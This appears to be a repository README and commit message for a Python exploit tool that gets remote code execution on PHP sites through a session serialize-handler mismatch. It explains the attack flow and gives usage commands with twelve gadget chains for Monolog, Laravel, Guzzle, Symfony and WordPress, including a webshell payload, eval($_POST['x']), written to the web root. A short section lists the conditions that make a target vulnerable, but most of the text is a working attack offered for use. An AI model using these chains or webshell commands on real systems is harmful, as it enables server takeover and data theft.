Files
php2shell/session-deser
neko 7fecd435cc Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers:
when one endpoint writes sessions with php_serialize (Laravel, Symfony
default) and another reads with the php handler (PHP default), injected
pipe characters cause arbitrary deserialization at session_start().

12 built-in POP chains covering current and legacy library versions:
- monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest)
- laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest)
- monolog-cmd/fw: Monolog 1.17.2-2.x
- laravel-cmd/fw: illuminate 5.4-8.x
- guzzle-fw: Guzzle 4.0-7.x
- symfony-cmd/fw: Symfony 2.6-4.4.18
- wordpress-cmd/fw: WordPress 6.4.0-6.4.1

All chains tested end-to-end through the full HTTP exploit flow on
PHP 8.3. Accepts custom phpggc chains via --chain-file.
2026-10-21 20:47:37 +00:00
..

Session Deserialization RCE via Handler Mismatch

Remote code execution through PHP's session.serialize_handler mismatch. No LFI required. No FPM dependency. Works on any SAPI.

How It Works

PHP supports multiple session serialization formats. The two relevant ones:

  • php (the default): stores session data as key|serialized_value
  • php_serialize: stores session data as a single serialize()d array

When one endpoint writes session data using php_serialize and another reads it using the php handler, the pipe character | inside a serialized string is misinterpreted as a key/value delimiter. This causes PHP to call unserialize() on attacker-controlled data when session_start() runs on the second endpoint.

Attack flow

1. Attacker POSTs to endpoint A (php_serialize handler):
   data = |O:28:"Monolog\Handler\GroupHandler":1:{...}

2. PHP stores this in the session file as:
   a:1:{s:4:"data";s:550:"|O:28:"Monolog\Handler\GroupHandler":1:{...}";}

3. Attacker GETs endpoint B (php handler) with the same session ID.
   session_start() reads the file and splits on |:
     key  = a:1:{s:4:"data";s:550:"
     value = O:28:"Monolog\Handler\GroupHandler":1:{...}
   PHP calls unserialize() on the value.

4. The deserialized object's __destruct method fires,
   triggering the POP gadget chain for RCE.

What makes a target vulnerable

The exploit requires ALL of the following:

  1. Two endpoints with different session serialize handlers. One must use php_serialize, the other must use the default php. PHP's own default is php for both, so this mismatch only occurs when a framework or application explicitly changes the handler for some endpoints.

  2. Shared session storage. Both endpoints must read/write the same session files (same session.save_path). This is the default when both run under the same PHP installation.

  3. A POP gadget chain in autoloaded classes. The deserialized objects must exist in classes that PHP has loaded (via autoloader or require). The chain must reach a dangerous sink (system(), file_put_contents(), etc.) through magic methods (__destruct, __wakeup, __toString, etc.).

Where this mismatch occurs in practice

  • Laravel sets session.serialize_handler = php_serialize in its session bootstrap. Any non-Laravel PHP on the same vhost (phpMyAdmin, admin scripts, health checks, legacy code) uses the PHP default php.

  • Symfony configures php_serialize via NativeSessionStorage. Adjacent applications on the same server may not.

  • Shared hosting where multiple PHP applications share the same session save path but use different frameworks.

  • Mixed codebases where old and new code coexist on the same domain, with the new code using a framework and the old code using raw PHP sessions.

A single-application deployment where every endpoint uses the same handler is NOT vulnerable to this attack.

Injection Modes

inject (primary)

The target has an endpoint that stores POST data into $_SESSION using the php_serialize handler. The attacker sends |<serialized_chain> as a POST value. A second request to a php-handler endpoint triggers deserialization.

python3 exploit.py --inject-url http://target/save.php \
                   --inject-param data \
                   --trigger-url http://target/view.php \
                   --chain laravel10-cmd --cmd 'id'

progress (no app session storage needed)

Uses session.upload_progress to inject the | character via the upload filename field. No application-level session writing needed. Combined with the OOM crash from CVE-2026-109618 to persist past cleanup.

Limitation: multipart filenames cannot contain NULL bytes, so the POP chain can only use public properties (no protected/private property serialization).

python3 exploit.py --mode progress \
                   --write-url http://target/any.php \
                   --trigger-url http://target/default.php \
                   --chain wordpress-cmd --cmd 'id'

Built-in POP Chains

Each chain is tested end-to-end through the full HTTP exploit flow on PHP 8.3 against the listed library version.

Current versions (work on latest releases)

Chain Library Tested on Type Description
monolog3-fw monolog/monolog 3.0+ 3.12.1 File write GroupHandler > DeduplicationHandler > file_put_contents
laravel10-cmd illuminate 10.0-13.x+ v13.38.0 Command PendingBroadcast > CommonMark Environment > ChainedBatchTruthTest > system()
laravel10-fw illuminate 10.0-13.x+ v13.38.0 File write Same chain, writes via system("printf ... > path")

Legacy versions

Chain Library Tested on Type Description
monolog-cmd monolog/monolog 1.17.2-2.x 2.10.0 Command SyslogUdpHandler > BufferHandler (self-ref) > system()
monolog-fw monolog/monolog 1.17.2-2.x 2.10.0 File write Same chain, writes via system("printf ...")
laravel-cmd illuminate 5.4-8.x 8.83.27 Command PendingBroadcast > Dispatcher > system()
laravel-fw illuminate 5.4-8.x 8.83.27 File write Same chain, writes via system("printf ...")
guzzle-fw guzzlehttp/guzzle 4.0-7.x 7.16.0 File write FileCookieJar > save() > file_put_contents (JSON wrapped)
symfony-cmd symfony 2.6-4.4.18 4.4.18 Command WindowsPipes > SortableIterator > ArrayObject > call_user_func("system")
symfony-fw symfony 2.6-4.4.18 4.4.18 File write Same chain, writes via system("printf ...")
wordpress-cmd WordPress 6.4.0-6.4.1 6.4.1 Command WP_HTML_Token.__destruct > call_user_func (public props, NULL-free)
wordpress-fw WordPress 6.4.0-6.4.1 6.4.1 File write Same chain, writes via system("printf ...")

Why some chains have version ceilings

  • Monolog 3.0+ introduced typed properties (Monolog\Level enum). The 2.x RCE1 chain sets $level = null, which throws TypeError on typed properties. The 3.x chain uses GroupHandler + DeduplicationHandler instead.

  • Laravel 9.0+ changed Dispatcher::dispatch() to wrap string listeners in createClassListener(), which calls $this->container->make() on a null container. The RCE22 chain routes through league/commonmark Environment instead.

  • Guzzle 8.0+ added __unserialize() on FileCookieJar that throws LogicException on deserialization.

  • Symfony 4.4.19+ added __wakeup() on WindowsPipes that throws BadMethodCallException.

  • WordPress 6.4.2+ added __wakeup() on WP_HTML_Token that throws LogicException. All other WP core gadget classes (FilteredIterator, Requests\Hooks) are also patched. No known POP chain exists in WordPress 7.x core.

Custom chains

Any phpggc chain works via --chain-file. Supports raw PHP serialized output and base64 (auto-detected).

phpggc Monolog/RCE1 system id > chain.bin
python3 exploit.py --inject-url http://target/save.php \
                   --inject-param data \
                   --trigger-url http://target/view.php \
                   --chain-file chain.bin

# Or base64:
phpggc Laravel/RCE22 system id -b > chain.b64
python3 exploit.py ... --chain-file chain.b64

Usage

# File write webshell (Monolog 3.x, current):
python3 exploit.py --inject-url http://target/save.php \
                   --inject-param data \
                   --trigger-url http://target/view.php \
                   --chain monolog3-fw \
                   --write-path /var/www/html/shell.php

# Direct command execution (Laravel 10+, current):
python3 exploit.py --inject-url http://target/save.php \
                   --inject-param data \
                   --trigger-url http://target/view.php \
                   --chain laravel10-cmd --cmd 'id'

# Custom shell code:
python3 exploit.py ... --chain monolog3-fw \
                   --write-path /var/www/html/s.php \
                   --shell-code '<?php eval($_POST["x"]); ?>'

# Progress mode (no POST-to-session endpoint needed):
python3 exploit.py --mode progress \
                   --write-url http://target/any_endpoint.php \
                   --trigger-url http://target/default_handler.php \
                   --chain wordpress-cmd --cmd 'id'

Options

--mode {inject,progress}  Injection mode (default: inject)
--inject-url URL          Endpoint that stores POST data in $_SESSION (php_serialize)
--inject-param PARAM      POST parameter stored in $_SESSION (default: data)
--write-url URL           Any endpoint for progress mode injection
--trigger-url URL         Endpoint using default php handler (triggers deserialization)
--chain CHAIN             Built-in POP chain name
--chain-file FILE         Custom serialized chain (phpggc output, raw or base64)
--write-path PATH         File path for fw chains (webshell destination)
--shell-code CODE         Custom PHP code for fw chains
--cmd CMD                 Command for cmd chains
--fields N                OOM pressure fields for progress mode (default: 30000)
--field-size N            Bytes per OOM field (default: 512)

Test Environment

The test endpoints used for verification:

test_serialize.php (inject endpoint, uses php_serialize):

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
foreach ($_POST as $k => $v) $_SESSION[$k] = $v;

test_trigger.php (trigger endpoint, uses default php handler):

<?php
require 'vendor/autoload.php';  // loads framework classes
session_start();                 // deserializes session data

The mismatch between php_serialize on the first and php (default) on the second is what enables the attack.